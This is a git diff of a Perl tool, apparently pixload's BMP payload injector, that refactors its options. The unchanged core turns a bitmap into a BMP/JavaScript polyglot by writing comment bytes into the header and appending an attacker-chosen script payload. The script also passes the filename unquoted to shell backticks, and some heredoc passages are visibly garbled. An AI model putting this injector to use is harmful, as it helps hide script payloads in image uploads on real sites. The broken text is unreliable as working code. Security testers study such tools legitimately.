diff --git a/pixload-bmp b/pixload-bmp index 62a7789..70ea37f 100755 --- a/pixload-bmp +++ b/pixload-bmp @@ -10,53 +10,28 @@ use strict; use warnings; + use feature 'say'; use POSIX; -use Getopt::Long; - -sub usage; -sub create_bmp; -sub inject_payload; - -# Command line options -GetOptions( - 'help!' => \my $help, - 'payload=s' => \my $payload, - 'output=s' => \my $outfile, -); -usage(0) if $help; -usage(1) unless $outfile; - -$payload //= ''; +use Getopt::Long qw(:config no_ignore_case); +use File::Basename; -say <| BMP Payload Creator/Injector |<] +use constant PROGRAM => basename $0; +use constant VERSION => 0.2; - https://github.com/chinarulezzz/pixload - -EOF - -create_bmp unless -f $outfile; -inject_payload; +# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +# Default Options # +# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # -say `file $outfile` if -f '/usr/bin/file'; -say `hexdump -C $outfile` if -f '/usr/bin/hexdump'; +my %opts = ( + payload => '', +); # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Subroutines # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # -sub usage { - say <<"EOF"; -Usage: $0 [-payload 'STRING'] -output payload.bmp - -If the output file exists, then the payload will be injected into the -existing file. Else the new one will be created. -EOF - exit +shift; -} - sub create_bmp { say "[>] Generating output file"; @@ -65,24 +40,24 @@ sub create_bmp { . "\x00\x00\x0c\x00\x00\x00\x01\x00\x01\x00\x01\x00" . "\x18\x00\x00\x00\xff\x00"; - sysopen my $fh, $outfile, O_CREAT|O_WRONLY; + sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY; syswrite $fh, $bmp_minimal; close $fh; - say "[✔] File saved to: $outfile\n"; + say "[✔] File saved to: $opts{FILE}\n"; } sub inject_payload { - say "[>] Injecting payload into $outfile"; + say "[>] Injecting payload into $opts{FILE}"; - sysopen my $fh, $outfile, O_RDWR; + sysopen my $fh, $opts{FILE}, O_RDWR; sysseek $fh, 2, SEEK_SET; syswrite $fh, "\x2f\x2a"; sysseek $fh, 0, SEEK_END; syswrite $fh, "\x2a\x2f\x3d\x31\x3b"; - syswrite $fh, $payload; + syswrite $fh, $opts{payload}; syswrite $fh, "\x3b"; close $fh; @@ -90,5 +65,58 @@ sub inject_payload { say "[✔] Payload was injected successfully\n"; } +sub banner { + < \$opts{help}, + 'v|version!' => \$opts{version}, + 'P|payload=s' => \$opts{payload}, + ) or die "$!\n"; + + $opts{FILE} = shift @ARGV; + + say &usage and exit(0) if $opts{help}; + say &version and exit(0) if $opts{version}; + say &usage and exit(1) if ! $opts{FILE}; + + say &banner; + + &create_bmp if ! -f $opts{FILE}; + &inject_payload; + + say `file $opts{FILE}` if -f '/usr/bin/file'; + say `hexdump -C $opts{FILE}` if -f '/usr/bin/hexdump'; +} + +&main; + # vim:sw=4:ts=4:sts=4:et:cc=80 -# End of file +# End of file.